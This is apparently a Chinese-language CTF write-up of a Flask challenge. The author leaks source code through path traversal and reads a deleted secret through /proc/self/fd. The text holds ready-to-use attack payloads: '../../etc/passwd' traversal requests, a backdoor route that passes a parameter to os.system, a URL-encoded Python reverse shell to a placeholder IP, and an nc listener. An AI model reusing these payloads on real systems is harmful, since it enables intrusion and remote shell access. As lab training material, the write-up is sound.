回顾
在CTFHub平台
可进行复现
一进门就是个照片下载
重点却是get请求存在URL参数
抓包测试发现url?=../../etc/passwd
发现文件
通过查看../../proc/self/cmdline
查看当前运行的进程
然后查看当前运行的进程main.py
这里暴露了flask源代码
from flask import Flask, Response, render_template, request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE, 'r')
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except Exception as e:
print(e)
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, use_reloader=False)
一段flask代码
,在no_one_know_the_manager页面下,可以执行系统命令,但是要求提供一个SECRET_KEY
,当KEY一致的时候,执行输入的key参数的命令,但是该key所在的文件/tmp/secret.txt在程序启动后就被删除了,不能使用文件读取漏洞获取secret的值
/proc/self表示当前进程目录
,利用linux下面的一个特性,系统中如果一个程序打开了一个文件没有关闭,即便从外部(如os.remove(SECRET_FILE))删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容,/proc/[pid]/fd 这个目录里包含了进程打开文件的情况,pid是进程记录的打开文件的序号
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE, 'r')
通过open()函数打开了一个文件,这样的话我们就可以在/proc/self/fd里面读取(fd里每一个数字对应着一个进程打开的文件
)
暴力破解最后一个数字,这道题是3,?url=../../proc/self/fd/3
在../../proc/self/fd/3
下拿到Key=94591f747ccbfaea6a596250b1c4a46c
可以执行系统指令ls
但是不会回显,只能反弹shell
了
可以使用python脚本
进行nc反弹
/no_one_know_the_manager?key=94591f747ccbfaea6a596250b1c4a46c&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xxx.xxx.xxx.xxx%22,8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27
服务器:nc -lvvp 8080
进行shell反弹,得到shell后,即可以查到flag在当前目录下的文件
考点:proc文件系统
Linux的proc文件系统,proc/&pid与/proc/self的学习—CTF应用
我这里服务器始终没有收到shell,虚拟机存在问题,使用ufw命令开放服务器端口,怕连不上
Kali安装ufw命令 遇到的软件包缺失和签名无效
虚拟机使用桥接模式出错,VMnet0无法使用
解决这两个问题,虚拟机服务器成功运行后,重新反弹shell,还是不行(裂开!!)